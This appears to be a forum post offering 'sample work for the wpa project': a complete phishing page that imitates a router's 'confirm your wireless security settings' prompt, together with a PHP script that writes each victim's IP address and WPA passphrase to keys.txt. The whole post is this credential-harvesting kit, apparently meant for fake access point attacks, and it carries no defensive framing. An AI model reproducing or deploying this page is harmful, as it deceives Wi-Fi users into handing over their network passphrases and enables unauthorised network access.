below is some sample work for the wpa project
Code:
<html>
<head>
<title>Security Check</title>
<script type="text/javascript">
function checkWholeForm(theForm) {
var why = "";
why += checkPassword(theForm.password.value);
if (why != "") {
alert(why);
return false;
}
return true;
}
function checkPassword (strng) {
var error = "";
if (strng == "") {
error = "You didn't enter a password.\n";
}
else if ((strng.length < 8) || (strng.length > 63)) {
error = "The password is the wrong length.\n";
}
return error;
}
</script>
<style type="text/css">
h3 {
font-family:Arial,Helvetica,sans-serif;
margin-top:200px;
}
td {
font-family:Arial,Helvetica,sans-serif;
font-size:13px;
font-weight:900;
}
</style>
</head>
<body>
<h3 align="center">Please confirm your wireless security settings.</h3>
<table align="center">
<form action="process.php" onsubmit="return checkWholeForm(this)" method="post">
<tr>
<td align="right">SSID:</td>
<td><input type="text" name="ssid" size="30" disabled="disabled" value="linksys"></td>
</tr>
<tr>
<td align="right">Authentication Type:</td>
<td>
<select name="Authentication Type" size="1" disabled="disabled">
<option selected value="WPA">WPA</option>
</select>
</td>
</tr>
<tr>
<td align="right">Passphrase:</td>
<td>
<input type="password" name="password" size="30">
</td>
</tr>
<tr>
<td>
</td>
<td align="left">
<input type="submit" value="Submit">
</td>
</tr>
</form>
</table>
</body>
</html>
Code:
<?php
header("Location:wpa.html");
$file=fopen("keys.txt","a") or exit("Unable to open file!");
$logMsg = $_SERVER["REMOTE_ADDR"] . " " . $_POST['ssid'] . " " . $_POST['password'] . "\n";
fputs($file,$logMsg);
fclose($file);
?>